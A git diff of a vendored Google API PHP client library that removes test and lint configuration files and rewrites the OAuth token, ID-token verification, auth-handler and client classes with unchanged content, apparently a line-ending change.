                                "; - - return $ret; -} - -function checkServiceAccountCredentialsFile() -{ - // service account creds - $application_creds = __DIR__ . '/../../service-account-credentials.json'; - - return file_exists($application_creds) ? $application_creds : false; -} - -function getCsrfToken() -{ - if (!isset($_SESSION['csrf_token'])) { - $_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32)); - } - - return $_SESSION['csrf_token']; -} - -function validateCsrfToken() -{ - return isset($_REQUEST['csrf_token']) - && isset($_SESSION['csrf_token']) - && $_REQUEST['csrf_token'] === $_SESSION['csrf_token']; -} - -function getOAuthCredentialsFile() -{ - // oauth2 creds - $oauth_creds = __DIR__ . '/../../oauth-credentials.json'; - - if (file_exists($oauth_creds)) { - return $oauth_creds; - } - - return false; -} - -function setClientCredentialsFile($apiKey) -{ - $file = __DIR__ . '/../../tests/.apiKey'; - file_put_contents($file, $apiKey); -} - - -function getApiKey() -{ - $file = __DIR__ . '/../../tests/.apiKey'; - if (file_exists($file)) { - return file_get_contents($file); - } -} - -function setApiKey($apiKey) -{ - $file = __DIR__ . '/../../tests/.apiKey'; - file_put_contents($file, $apiKey); -} diff --git a/vendor/google/apiclient/phpcs.xml.dist b/vendor/google/apiclient/phpcs.xml.dist deleted file mode 100644 index 465e47068b..0000000000 --- a/vendor/google/apiclient/phpcs.xml.dist +++ /dev/null @@ -1,163 +0,0 @@ - - - The Google API client library coding standard. - - - - 0 - - - - - - - - - - - - - - - - - - Service/*.php - - - - - - - - - - - - - - - - - - - - - - - Service/*.php - - - - - - - - - - 0 - - - 0 - - - 0 - - - - - - - - - - - - - - - - - - - - - - src/aliases\.php - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - src/aliases\.php - - - - - - - - - - - - - - - diff --git a/vendor/google/apiclient/phpunit.xml.dist b/vendor/google/apiclient/phpunit.xml.dist deleted file mode 100644 index b001f1d063..0000000000 --- a/vendor/google/apiclient/phpunit.xml.dist +++ /dev/null @@ -1,19 +0,0 @@ - - - - - tests/Google - - - tests/examples - - - - - ./src - - - diff --git a/vendor/google/apiclient/src/AccessToken/Revoke.php b/vendor/google/apiclient/src/AccessToken/Revoke.php index 3c17c808cd..d86cc6e325 100644 --- a/vendor/google/apiclient/src/AccessToken/Revoke.php +++ b/vendor/google/apiclient/src/AccessToken/Revoke.php @@ -1,81 +1,81 @@ -http = $http; - } - - /** - * Revoke an OAuth2 access token or refresh token. This method will revoke the current access - * token, if a token isn't provided. - * - * @param string|array $token The token (access token or a refresh token) that should be revoked. - * @return boolean Returns True if the revocation was successful, otherwise False. - */ - public function revokeToken($token) - { - if (is_array($token)) { - if (isset($token['refresh_token'])) { - $token = $token['refresh_token']; - } else { - $token = $token['access_token']; - } - } - - $body = Psr7\Utils::streamFor(http_build_query(array('token' => $token))); - $request = new Request( - 'POST', - Client::OAUTH2_REVOKE_URI, - [ - 'Cache-Control' => 'no-store', - 'Content-Type' => 'application/x-www-form-urlencoded', - ], - $body - ); - - $httpHandler = HttpHandlerFactory::build($this->http); - - $response = $httpHandler($request); - - return $response->getStatusCode() == 200; - } -} +http = $http; + } + + /** + * Revoke an OAuth2 access token or refresh token. This method will revoke the current access + * token, if a token isn't provided. + * + * @param string|array $token The token (access token or a refresh token) that should be revoked. + * @return boolean Returns True if the revocation was successful, otherwise False. + */ + public function revokeToken($token) + { + if (is_array($token)) { + if (isset($token['refresh_token'])) { + $token = $token['refresh_token']; + } else { + $token = $token['access_token']; + } + } + + $body = Psr7\Utils::streamFor(http_build_query(array('token' => $token))); + $request = new Request( + 'POST', + Client::OAUTH2_REVOKE_URI, + [ + 'Cache-Control' => 'no-store', + 'Content-Type' => 'application/x-www-form-urlencoded', + ], + $body + ); + + $httpHandler = HttpHandlerFactory::build($this->http); + + $response = $httpHandler($request); + + return $response->getStatusCode() == 200; + } +} diff --git a/vendor/google/apiclient/src/AccessToken/Verify.php b/vendor/google/apiclient/src/AccessToken/Verify.php index 4604070ab2..fa997f211c 100644 --- a/vendor/google/apiclient/src/AccessToken/Verify.php +++ b/vendor/google/apiclient/src/AccessToken/Verify.php @@ -1,309 +1,309 @@ -http = $http; - $this->cache = $cache; - $this->jwt = $jwt ?: $this->getJwtService(); - } - - /** - * Verifies an id token and returns the authenticated apiLoginTicket. - * Throws an exception if the id token is not valid. - * The audience parameter can be used to control which id tokens are - * accepted. By default, the id token must have been issued to this OAuth2 client. - * - * @param string $idToken the ID token in JWT format - * @param string $audience Optional. The audience to verify against JWt "aud" - * @return array the token payload, if successful - */ - public function verifyIdToken($idToken, $audience = null) - { - if (empty($idToken)) { - throw new LogicException('id_token cannot be null'); - } - - // set phpseclib constants if applicable - $this->setPhpsecConstants(); - - // Check signature - $certs = $this->getFederatedSignOnCerts(); - foreach ($certs as $cert) { - try { - $payload = $this->jwt->decode( - $idToken, - $this->getPublicKey($cert), - array('RS256') - ); - - if (property_exists($payload, 'aud')) { - if ($audience && $payload->aud != $audience) { - return false; - } - } - - // support HTTP and HTTPS issuers - // @see https://developers.google.com/identity/sign-in/web/backend-auth - $issuers = array(self::OAUTH2_ISSUER, self::OAUTH2_ISSUER_HTTPS); - if (!isset($payload->iss) || !in_array($payload->iss, $issuers)) { - return false; - } - - return (array) $payload; - } catch (ExpiredException $e) { - return false; - } catch (ExpiredExceptionV3 $e) { - return false; - } catch (SignatureInvalidException $e) { - // continue - } catch (DomainException $e) { - // continue - } - } - - return false; - } - - private function getCache() - { - return $this->cache; - } - - /** - * Retrieve and cache a certificates file. - * - * @param $url string location - * @throws \Google\Exception - * @return array certificates - */ - private function retrieveCertsFromLocation($url) - { - // If we're retrieving a local file, just grab it. - if (0 !== strpos($url, 'http')) { - if (!$file = file_get_contents($url)) { - throw new GoogleException( - "Failed to retrieve verification certificates: '" . - $url . "'." - ); - } - - return json_decode($file, true); - } - - $response = $this->http->get($url); - - if ($response->getStatusCode() == 200) { - return json_decode((string) $response->getBody(), true); - } - throw new GoogleException( - sprintf( - 'Failed to retrieve verification certificates: "%s".', - $response->getBody()->getContents() - ), - $response->getStatusCode() - ); - } - - // Gets federated sign-on certificates to use for verifying identity tokens. - // Returns certs as array structure, where keys are key ids, and values - // are PEM encoded certificates. - private function getFederatedSignOnCerts() - { - $certs = null; - if ($cache = $this->getCache()) { - $cacheItem = $cache->getItem('federated_signon_certs_v3'); - $certs = $cacheItem->get(); - } - - - if (!$certs) { - $certs = $this->retrieveCertsFromLocation( - self::FEDERATED_SIGNON_CERT_URL - ); - - if ($cache) { - $cacheItem->expiresAt(new DateTime('+1 hour')); - $cacheItem->set($certs); - $cache->save($cacheItem); - } - } - - if (!isset($certs['keys'])) { - throw new InvalidArgumentException( - 'federated sign-on certs expects "keys" to be set' - ); - } - - return $certs['keys']; - } - - private function getJwtService() - { - $jwtClass = 'JWT'; - if (class_exists('\Firebase\JWT\JWT')) { - $jwtClass = 'Firebase\JWT\JWT'; - } - - if (property_exists($jwtClass, 'leeway') && $jwtClass::$leeway < 1) { - // Ensures JWT leeway is at least 1 - // @see https://github.com/google/google-api-php-client/issues/827 - $jwtClass::$leeway = 1; - } - - return new $jwtClass; - } - - private function getPublicKey($cert) - { - $bigIntClass = $this->getBigIntClass(); - $modulus = new $bigIntClass($this->jwt->urlsafeB64Decode($cert['n']), 256); - $exponent = new $bigIntClass($this->jwt->urlsafeB64Decode($cert['e']), 256); - $component = array('n' => $modulus, 'e' => $exponent); - - if (class_exists('phpseclib3\Crypt\RSA\PublicKey')) { - /** @var PublicKey $loader */ - $loader = PublicKeyLoader::load($component); - - return $loader->toString('PKCS8'); - } - - $rsaClass = $this->getRsaClass(); - $rsa = new $rsaClass(); - $rsa->loadKey($component); - - return $rsa->getPublicKey(); - } - - private function getRsaClass() - { - if (class_exists('phpseclib3\Crypt\RSA')) { - return 'phpseclib3\Crypt\RSA'; - } - - if (class_exists('phpseclib\Crypt\RSA')) { - return 'phpseclib\Crypt\RSA'; - } - - return 'Crypt_RSA'; - } - - private function getBigIntClass() - { - if (class_exists('phpseclib3\Math\BigInteger')) { - return 'phpseclib3\Math\BigInteger'; - } - - if (class_exists('phpseclib\Math\BigInteger')) { - return 'phpseclib\Math\BigInteger'; - } - - return 'Math_BigInteger'; - } - - private function getOpenSslConstant() - { - if (class_exists('phpseclib3\Crypt\AES')) { - return 'phpseclib3\Crypt\AES::ENGINE_OPENSSL'; - } - - if (class_exists('phpseclib\Crypt\RSA')) { - return 'phpseclib\Crypt\RSA::MODE_OPENSSL'; - } - - if (class_exists('Crypt_RSA')) { - return 'CRYPT_RSA_MODE_OPENSSL'; - } - - throw new Exception('Cannot find RSA class'); - } - - /** - * phpseclib calls "phpinfo" by default, which requires special - * whitelisting in the AppEngine VM environment. This function - * sets constants to bypass the need for phpseclib to check phpinfo - * - * @see phpseclib/Math/BigInteger - * @see https://github.com/GoogleCloudPlatform/getting-started-php/issues/85 - */ - private function setPhpsecConstants() - { - if (filter_var(getenv('GAE_VM'), FILTER_VALIDATE_BOOLEAN)) { - if (!defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) { - define('MATH_BIGINTEGER_OPENSSL_ENABLED', true); - } - if (!defined('CRYPT_RSA_MODE')) { - define('CRYPT_RSA_MODE', constant($this->getOpenSslConstant())); - } - } - } -} +http = $http; + $this->cache = $cache; + $this->jwt = $jwt ?: $this->getJwtService(); + } + + /** + * Verifies an id token and returns the authenticated apiLoginTicket. + * Throws an exception if the id token is not valid. + * The audience parameter can be used to control which id tokens are + * accepted. By default, the id token must have been issued to this OAuth2 client. + * + * @param string $idToken the ID token in JWT format + * @param string $audience Optional. The audience to verify against JWt "aud" + * @return array the token payload, if successful + */ + public function verifyIdToken($idToken, $audience = null) + { + if (empty($idToken)) { + throw new LogicException('id_token cannot be null'); + } + + // set phpseclib constants if applicable + $this->setPhpsecConstants(); + + // Check signature + $certs = $this->getFederatedSignOnCerts(); + foreach ($certs as $cert) { + try { + $payload = $this->jwt->decode( + $idToken, + $this->getPublicKey($cert), + array('RS256') + ); + + if (property_exists($payload, 'aud')) { + if ($audience && $payload->aud != $audience) { + return false; + } + } + + // support HTTP and HTTPS issuers + // @see https://developers.google.com/identity/sign-in/web/backend-auth + $issuers = array(self::OAUTH2_ISSUER, self::OAUTH2_ISSUER_HTTPS); + if (!isset($payload->iss) || !in_array($payload->iss, $issuers)) { + return false; + } + + return (array) $payload; + } catch (ExpiredException $e) { + return false; + } catch (ExpiredExceptionV3 $e) { + return false; + } catch (SignatureInvalidException $e) { + // continue + } catch (DomainException $e) { + // continue + } + } + + return false; + } + + private function getCache() + { + return $this->cache; + } + + /** + * Retrieve and cache a certificates file. + * + * @param $url string location + * @throws \Google\Exception + * @return array certificates + */ + private function retrieveCertsFromLocation($url) + { + // If we're retrieving a local file, just grab it. + if (0 !== strpos($url, 'http')) { + if (!$file = file_get_contents($url)) { + throw new GoogleException( + "Failed to retrieve verification certificates: '" . + $url . "'." + ); + } + + return json_decode($file, true); + } + + $response = $this->http->get($url); + + if ($response->getStatusCode() == 200) { + return json_decode((string) $response->getBody(), true); + } + throw new GoogleException( + sprintf( + 'Failed to retrieve verification certificates: "%s".', + $response->getBody()->getContents() + ), + $response->getStatusCode() + ); + } + + // Gets federated sign-on certificates to use for verifying identity tokens. + // Returns certs as array structure, where keys are key ids, and values + // are PEM encoded certificates. + private function getFederatedSignOnCerts() + { + $certs = null; + if ($cache = $this->getCache()) { + $cacheItem = $cache->getItem('federated_signon_certs_v3'); + $certs = $cacheItem->get(); + } + + + if (!$certs) { + $certs = $this->retrieveCertsFromLocation( + self::FEDERATED_SIGNON_CERT_URL + ); + + if ($cache) { + $cacheItem->expiresAt(new DateTime('+1 hour')); + $cacheItem->set($certs); + $cache->save($cacheItem); + } + } + + if (!isset($certs['keys'])) { + throw new InvalidArgumentException( + 'federated sign-on certs expects "keys" to be set' + ); + } + + return $certs['keys']; + } + + private function getJwtService() + { + $jwtClass = 'JWT'; + if (class_exists('\Firebase\JWT\JWT')) { + $jwtClass = 'Firebase\JWT\JWT'; + } + + if (property_exists($jwtClass, 'leeway') && $jwtClass::$leeway < 1) { + // Ensures JWT leeway is at least 1 + // @see https://github.com/google/google-api-php-client/issues/827 + $jwtClass::$leeway = 1; + } + + return new $jwtClass; + } + + private function getPublicKey($cert) + { + $bigIntClass = $this->getBigIntClass(); + $modulus = new $bigIntClass($this->jwt->urlsafeB64Decode($cert['n']), 256); + $exponent = new $bigIntClass($this->jwt->urlsafeB64Decode($cert['e']), 256); + $component = array('n' => $modulus, 'e' => $exponent); + + if (class_exists('phpseclib3\Crypt\RSA\PublicKey')) { + /** @var PublicKey $loader */ + $loader = PublicKeyLoader::load($component); + + return $loader->toString('PKCS8'); + } + + $rsaClass = $this->getRsaClass(); + $rsa = new $rsaClass(); + $rsa->loadKey($component); + + return $rsa->getPublicKey(); + } + + private function getRsaClass() + { + if (class_exists('phpseclib3\Crypt\RSA')) { + return 'phpseclib3\Crypt\RSA'; + } + + if (class_exists('phpseclib\Crypt\RSA')) { + return 'phpseclib\Crypt\RSA'; + } + + return 'Crypt_RSA'; + } + + private function getBigIntClass() + { + if (class_exists('phpseclib3\Math\BigInteger')) { + return 'phpseclib3\Math\BigInteger'; + } + + if (class_exists('phpseclib\Math\BigInteger')) { + return 'phpseclib\Math\BigInteger'; + } + + return 'Math_BigInteger'; + } + + private function getOpenSslConstant() + { + if (class_exists('phpseclib3\Crypt\AES')) { + return 'phpseclib3\Crypt\AES::ENGINE_OPENSSL'; + } + + if (class_exists('phpseclib\Crypt\RSA')) { + return 'phpseclib\Crypt\RSA::MODE_OPENSSL'; + } + + if (class_exists('Crypt_RSA')) { + return 'CRYPT_RSA_MODE_OPENSSL'; + } + + throw new Exception('Cannot find RSA class'); + } + + /** + * phpseclib calls "phpinfo" by default, which requires special + * whitelisting in the AppEngine VM environment. This function + * sets constants to bypass the need for phpseclib to check phpinfo + * + * @see phpseclib/Math/BigInteger + * @see https://github.com/GoogleCloudPlatform/getting-started-php/issues/85 + */ + private function setPhpsecConstants() + { + if (filter_var(getenv('GAE_VM'), FILTER_VALIDATE_BOOLEAN)) { + if (!defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) { + define('MATH_BIGINTEGER_OPENSSL_ENABLED', true); + } + if (!defined('CRYPT_RSA_MODE')) { + define('CRYPT_RSA_MODE', constant($this->getOpenSslConstant())); + } + } + } +} diff --git a/vendor/google/apiclient/src/AuthHandler/AuthHandlerFactory.php b/vendor/google/apiclient/src/AuthHandler/AuthHandlerFactory.php index cf01205211..dced77a17c 100644 --- a/vendor/google/apiclient/src/AuthHandler/AuthHandlerFactory.php +++ b/vendor/google/apiclient/src/AuthHandler/AuthHandlerFactory.php @@ -1,52 +1,52 @@ -cache = $cache; - $this->cacheConfig = $cacheConfig; - } - - public function attachCredentials( - ClientInterface $http, - CredentialsLoader $credentials, - callable $tokenCallback = null - ) { - // use the provided cache - if ($this->cache) { - $credentials = new FetchAuthTokenCache( - $credentials, - $this->cacheConfig, - $this->cache - ); - } - - return $this->attachCredentialsCache($http, $credentials, $tokenCallback); - } - - public function attachCredentialsCache( - ClientInterface $http, - FetchAuthTokenCache $credentials, - callable $tokenCallback = null - ) { - // if we end up needing to make an HTTP request to retrieve credentials, we - // can use our existing one, but we need to throw exceptions so the error - // bubbles up. - $authHttp = $this->createAuthHttp($http); - $authHttpHandler = HttpHandlerFactory::build($authHttp); - $subscriber = new AuthTokenSubscriber( - $credentials, - $authHttpHandler, - $tokenCallback - ); - - $http->setDefaultOption('auth', 'google_auth'); - $http->getEmitter()->attach($subscriber); - - return $http; - } - - public function attachToken(ClientInterface $http, array $token, array $scopes) - { - $tokenFunc = function ($scopes) use ($token) { - return $token['access_token']; - }; - - $subscriber = new ScopedAccessTokenSubscriber( - $tokenFunc, - $scopes, - $this->cacheConfig, - $this->cache - ); - - $http->setDefaultOption('auth', 'scoped'); - $http->getEmitter()->attach($subscriber); - - return $http; - } - - public function attachKey(ClientInterface $http, $key) - { - $subscriber = new SimpleSubscriber(['key' => $key]); - - $http->setDefaultOption('auth', 'simple'); - $http->getEmitter()->attach($subscriber); - - return $http; - } - - private function createAuthHttp(ClientInterface $http) - { - return new Client( - [ - 'base_url' => $http->getBaseUrl(), - 'defaults' => [ - 'exceptions' => true, - 'verify' => $http->getDefaultOption('verify'), - 'proxy' => $http->getDefaultOption('proxy'), - ] - ] - ); - } -} +cache = $cache; + $this->cacheConfig = $cacheConfig; + } + + public function attachCredentials( + ClientInterface $http, + CredentialsLoader $credentials, + callable $tokenCallback = null + ) { + // use the provided cache + if ($this->cache) { + $credentials = new FetchAuthTokenCache( + $credentials, + $this->cacheConfig, + $this->cache + ); + } + + return $this->attachCredentialsCache($http, $credentials, $tokenCallback); + } + + public function attachCredentialsCache( + ClientInterface $http, + FetchAuthTokenCache $credentials, + callable $tokenCallback = null + ) { + // if we end up needing to make an HTTP request to retrieve credentials, we + // can use our existing one, but we need to throw exceptions so the error + // bubbles up. + $authHttp = $this->createAuthHttp($http); + $authHttpHandler = HttpHandlerFactory::build($authHttp); + $subscriber = new AuthTokenSubscriber( + $credentials, + $authHttpHandler, + $tokenCallback + ); + + $http->setDefaultOption('auth', 'google_auth'); + $http->getEmitter()->attach($subscriber); + + return $http; + } + + public function attachToken(ClientInterface $http, array $token, array $scopes) + { + $tokenFunc = function ($scopes) use ($token) { + return $token['access_token']; + }; + + $subscriber = new ScopedAccessTokenSubscriber( + $tokenFunc, + $scopes, + $this->cacheConfig, + $this->cache + ); + + $http->setDefaultOption('auth', 'scoped'); + $http->getEmitter()->attach($subscriber); + + return $http; + } + + public function attachKey(ClientInterface $http, $key) + { + $subscriber = new SimpleSubscriber(['key' => $key]); + + $http->setDefaultOption('auth', 'simple'); + $http->getEmitter()->attach($subscriber); + + return $http; + } + + private function createAuthHttp(ClientInterface $http) + { + return new Client( + [ + 'base_url' => $http->getBaseUrl(), + 'defaults' => [ + 'exceptions' => true, + 'verify' => $http->getDefaultOption('verify'), + 'proxy' => $http->getDefaultOption('proxy'), + ] + ] + ); + } +} diff --git a/vendor/google/apiclient/src/AuthHandler/Guzzle6AuthHandler.php b/vendor/google/apiclient/src/AuthHandler/Guzzle6AuthHandler.php index b0927b31b1..35de17ce74 100644 --- a/vendor/google/apiclient/src/AuthHandler/Guzzle6AuthHandler.php +++ b/vendor/google/apiclient/src/AuthHandler/Guzzle6AuthHandler.php @@ -1,117 +1,117 @@ -cache = $cache; - $this->cacheConfig = $cacheConfig; - } - - public function attachCredentials( - ClientInterface $http, - CredentialsLoader $credentials, - callable $tokenCallback = null - ) { - // use the provided cache - if ($this->cache) { - $credentials = new FetchAuthTokenCache( - $credentials, - $this->cacheConfig, - $this->cache - ); - } - - return $this->attachCredentialsCache($http, $credentials, $tokenCallback); - } - - public function attachCredentialsCache( - ClientInterface $http, - FetchAuthTokenCache $credentials, - callable $tokenCallback = null - ) { - // if we end up needing to make an HTTP request to retrieve credentials, we - // can use our existing one, but we need to throw exceptions so the error - // bubbles up. - $authHttp = $this->createAuthHttp($http); - $authHttpHandler = HttpHandlerFactory::build($authHttp); - $middleware = new AuthTokenMiddleware( - $credentials, - $authHttpHandler, - $tokenCallback - ); - - $config = $http->getConfig(); - $config['handler']->remove('google_auth'); - $config['handler']->push($middleware, 'google_auth'); - $config['auth'] = 'google_auth'; - $http = new Client($config); - - return $http; - } - - public function attachToken(ClientInterface $http, array $token, array $scopes) - { - $tokenFunc = function ($scopes) use ($token) { - return $token['access_token']; - }; - - $middleware = new ScopedAccessTokenMiddleware( - $tokenFunc, - $scopes, - $this->cacheConfig, - $this->cache - ); - - $config = $http->getConfig(); - $config['handler']->remove('google_auth'); - $config['handler']->push($middleware, 'google_auth'); - $config['auth'] = 'scoped'; - $http = new Client($config); - - return $http; - } - - public function attachKey(ClientInterface $http, $key) - { - $middleware = new SimpleMiddleware(['key' => $key]); - - $config = $http->getConfig(); - $config['handler']->remove('google_auth'); - $config['handler']->push($middleware, 'google_auth'); - $config['auth'] = 'simple'; - $http = new Client($config); - - return $http; - } - - private function createAuthHttp(ClientInterface $http) - { - return new Client( - [ - 'base_uri' => $http->getConfig('base_uri'), - 'http_errors' => true, - 'verify' => $http->getConfig('verify'), - 'proxy' => $http->getConfig('proxy'), - ] - ); - } -} +cache = $cache; + $this->cacheConfig = $cacheConfig; + } + + public function attachCredentials( + ClientInterface $http, + CredentialsLoader $credentials, + callable $tokenCallback = null + ) { + // use the provided cache + if ($this->cache) { + $credentials = new FetchAuthTokenCache( + $credentials, + $this->cacheConfig, + $this->cache + ); + } + + return $this->attachCredentialsCache($http, $credentials, $tokenCallback); + } + + public function attachCredentialsCache( + ClientInterface $http, + FetchAuthTokenCache $credentials, + callable $tokenCallback = null + ) { + // if we end up needing to make an HTTP request to retrieve credentials, we + // can use our existing one, but we need to throw exceptions so the error + // bubbles up. + $authHttp = $this->createAuthHttp($http); + $authHttpHandler = HttpHandlerFactory::build($authHttp); + $middleware = new AuthTokenMiddleware( + $credentials, + $authHttpHandler, + $tokenCallback + ); + + $config = $http->getConfig(); + $config['handler']->remove('google_auth'); + $config['handler']->push($middleware, 'google_auth'); + $config['auth'] = 'google_auth'; + $http = new Client($config); + + return $http; + } + + public function attachToken(ClientInterface $http, array $token, array $scopes) + { + $tokenFunc = function ($scopes) use ($token) { + return $token['access_token']; + }; + + $middleware = new ScopedAccessTokenMiddleware( + $tokenFunc, + $scopes, + $this->cacheConfig, + $this->cache + ); + + $config = $http->getConfig(); + $config['handler']->remove('google_auth'); + $config['handler']->push($middleware, 'google_auth'); + $config['auth'] = 'scoped'; + $http = new Client($config); + + return $http; + } + + public function attachKey(ClientInterface $http, $key) + { + $middleware = new SimpleMiddleware(['key' => $key]); + + $config = $http->getConfig(); + $config['handler']->remove('google_auth'); + $config['handler']->push($middleware, 'google_auth'); + $config['auth'] = 'simple'; + $http = new Client($config); + + return $http; + } + + private function createAuthHttp(ClientInterface $http) + { + return new Client( + [ + 'base_uri' => $http->getConfig('base_uri'), + 'http_errors' => true, + 'verify' => $http->getConfig('verify'), + 'proxy' => $http->getConfig('proxy'), + ] + ); + } +} diff --git a/vendor/google/apiclient/src/AuthHandler/Guzzle7AuthHandler.php b/vendor/google/apiclient/src/AuthHandler/Guzzle7AuthHandler.php index e9be3cf18c..6804f75cbc 100644 --- a/vendor/google/apiclient/src/AuthHandler/Guzzle7AuthHandler.php +++ b/vendor/google/apiclient/src/AuthHandler/Guzzle7AuthHandler.php @@ -1,25 +1,25 @@ -config = array_merge( - [ - 'application_name' => '', - - // Don't change these unless you're working against a special development - // or testing environment. - 'base_path' => self::API_BASE_PATH, - - // https://developers.google.com/console - 'client_id' => '', - 'client_secret' => '', - - // Path to JSON credentials or an array representing those credentials - // @see Google\Client::setAuthConfig - 'credentials' => null, - // @see Google\Client::setScopes - 'scopes' => null, - // Sets X-Goog-User-Project, which specifies a user project to bill - // for access charges associated with the request - 'quota_project' => null, - - 'redirect_uri' => null, - 'state' => null, - - // Simple API access key, also from the API console. Ensure you get - // a Server key, and not a Browser key. - 'developer_key' => '', - - // For use with Google Cloud Platform - // fetch the ApplicationDefaultCredentials, if applicable - // @see https://developers.google.com/identity/protocols/application-default-credentials - 'use_application_default_credentials' => false, - 'signing_key' => null, - 'signing_algorithm' => null, - 'subject' => null, - - // Other OAuth2 parameters. - 'hd' => '', - 'prompt' => '', - 'openid.realm' => '', - 'include_granted_scopes' => null, - 'login_hint' => '', - 'request_visible_actions' => '', - 'access_type' => 'online', - 'approval_prompt' => 'auto', - - // Task Runner retry configuration - // @see Google\Task\Runner - 'retry' => array(), - 'retry_map' => null, - - // Cache class implementing Psr\Cache\CacheItemPoolInterface. - // Defaults to Google\Auth\Cache\MemoryCacheItemPool. - 'cache' => null, - // cache config for downstream auth caching - 'cache_config' => [], - - // function to be called when an access token is fetched - // follows the signature function ($cacheKey, $accessToken) - 'token_callback' => null, - - // Service class used in Google\Client::verifyIdToken. - // Explicitly pass this in to avoid setting JWT::$leeway - 'jwt' => null, - - // Setting api_format_v2 will return more detailed error messages - // from certain APIs. - 'api_format_v2' => false - ], - $config - ); - - if (!is_null($this->config['credentials'])) { - $this->setAuthConfig($this->config['credentials']); - unset($this->config['credentials']); - } - - if (!is_null($this->config['scopes'])) { - $this->setScopes($this->config['scopes']); - unset($this->config['scopes']); - } - - // Set a default token callback to update the in-memory access token - if (is_null($this->config['token_callback'])) { - $this->config['token_callback'] = function ($cacheKey, $newAccessToken) { - $this->setAccessToken( - [ - 'access_token' => $newAccessToken, - 'expires_in' => 3600, // Google default - 'created' => time(), - ] - ); - }; - } - - if (!is_null($this->config['cache'])) { - $this->setCache($this->config['cache']); - unset($this->config['cache']); - } - } - - /** - * Get a string containing the version of the library. - * - * @return string - */ - public function getLibraryVersion() - { - return self::LIBVER; - } - - /** - * For backwards compatibility - * alias for fetchAccessTokenWithAuthCode - * - * @param $code string code from accounts.google.com - * @return array access token - * @deprecated - */ - public function authenticate($code) - { - return $this->fetchAccessTokenWithAuthCode($code); - } - - /** - * Attempt to exchange a code for an valid authentication token. - * Helper wrapped around the OAuth 2.0 implementation. - * - * @param $code string code from accounts.google.com - * @return array access token - */ - public function fetchAccessTokenWithAuthCode($code) - { - if (strlen($code) == 0) { - throw new InvalidArgumentException("Invalid code"); - } - - $auth = $this->getOAuth2Service(); - $auth->setCode($code); - $auth->setRedirectUri($this->getRedirectUri()); - - $httpHandler = HttpHandlerFactory::build($this->getHttpClient()); - $creds = $auth->fetchAuthToken($httpHandler); - if ($creds && isset($creds['access_token'])) { - $creds['created'] = time(); - $this->setAccessToken($creds); - } - - return $creds; - } - - /** - * For backwards compatibility - * alias for fetchAccessTokenWithAssertion - * - * @return array access token - * @deprecated - */ - public function refreshTokenWithAssertion() - { - return $this->fetchAccessTokenWithAssertion(); - } - - /** - * Fetches a fresh access token with a given assertion token. - * @param ClientInterface $authHttp optional. - * @return array access token - */ - public function fetchAccessTokenWithAssertion(ClientInterface $authHttp = null) - { - if (!$this->isUsingApplicationDefaultCredentials()) { - throw new DomainException( - 'set the JSON service account credentials using' - . ' Google\Client::setAuthConfig or set the path to your JSON file' - . ' with the "GOOGLE_APPLICATION_CREDENTIALS" environment variable' - . ' and call Google\Client::useApplicationDefaultCredentials to' - . ' refresh a token with assertion.' - ); - } - - $this->getLogger()->log( - 'info', - 'OAuth2 access token refresh with Signed JWT assertion grants.' - ); - - $credentials = $this->createApplicationDefaultCredentials(); - - $httpHandler = HttpHandlerFactory::build($authHttp); - $creds = $credentials->fetchAuthToken($httpHandler); - if ($creds && isset($creds['access_token'])) { - $creds['created'] = time(); - $this->setAccessToken($creds); - } - - return $creds; - } - - /** - * For backwards compatibility - * alias for fetchAccessTokenWithRefreshToken - * - * @param string $refreshToken - * @return array access token - */ - public function refreshToken($refreshToken) - { - return $this->fetchAccessTokenWithRefreshToken($refreshToken); - } - - /** - * Fetches a fresh OAuth 2.0 access token with the given refresh token. - * @param string $refreshToken - * @return array access token - */ - public function fetchAccessTokenWithRefreshToken($refreshToken = null) - { - if (null === $refreshToken) { - if (!isset($this->token['refresh_token'])) { - throw new LogicException( - 'refresh token must be passed in or set as part of setAccessToken' - ); - } - $refreshToken = $this->token['refresh_token']; - } - $this->getLogger()->info('OAuth2 access token refresh'); - $auth = $this->getOAuth2Service(); - $auth->setRefreshToken($refreshToken); - - $httpHandler = HttpHandlerFactory::build($this->getHttpClient()); - $creds = $auth->fetchAuthToken($httpHandler); - if ($creds && isset($creds['access_token'])) { - $creds['created'] = time(); - if (!isset($creds['refresh_token'])) { - $creds['refresh_token'] = $refreshToken; - } - $this->setAccessToken($creds); - } - - return $creds; - } - - /** - * Create a URL to obtain user authorization. - * The authorization endpoint allows the user to first - * authenticate, and then grant/deny the access request. - * @param string|array $scope The scope is expressed as an array or list of space-delimited strings. - * @return string - */ - public function createAuthUrl($scope = null) - { - if (empty($scope)) { - $scope = $this->prepareScopes(); - } - if (is_array($scope)) { - $scope = implode(' ', $scope); - } - - // only accept one of prompt or approval_prompt - $approvalPrompt = $this->config['prompt'] - ? null - : $this->config['approval_prompt']; - - // include_granted_scopes should be string "true", string "false", or null - $includeGrantedScopes = $this->config['include_granted_scopes'] === null - ? null - : var_export($this->config['include_granted_scopes'], true); - - $params = array_filter( - [ - 'access_type' => $this->config['access_type'], - 'approval_prompt' => $approvalPrompt, - 'hd' => $this->config['hd'], - 'include_granted_scopes' => $includeGrantedScopes, - 'login_hint' => $this->config['login_hint'], - 'openid.realm' => $this->config['openid.realm'], - 'prompt' => $this->config['prompt'], - 'response_type' => 'code', - 'scope' => $scope, - 'state' => $this->config['state'], - ] - ); - - // If the list of scopes contains plus.login, add request_visible_actions - // to auth URL. - $rva = $this->config['request_visible_actions']; - if (strlen($rva) > 0 && false !== strpos($scope, 'plus.login')) { - $params['request_visible_actions'] = $rva; - } - - $auth = $this->getOAuth2Service(); - - return (string) $auth->buildFullAuthorizationUri($params); - } - - /** - * Adds auth listeners to the HTTP client based on the credentials - * set in the Google API Client object - * - * @param ClientInterface $http the http client object. - * @return ClientInterface the http client object - */ - public function authorize(ClientInterface $http = null) - { - $credentials = null; - $token = null; - $scopes = null; - $http = $http ?: $this->getHttpClient(); - $authHandler = $this->getAuthHandler(); - - // These conditionals represent the decision tree for authentication - // 1. Check for Application Default Credentials - // 2. Check for API Key - // 3a. Check for an Access Token - // 3b. If access token exists but is expired, try to refresh it - if ($this->isUsingApplicationDefaultCredentials()) { - $credentials = $this->createApplicationDefaultCredentials(); - $http = $authHandler->attachCredentialsCache( - $http, - $credentials, - $this->config['token_callback'] - ); - } elseif ($token = $this->getAccessToken()) { - $scopes = $this->prepareScopes(); - // add refresh subscriber 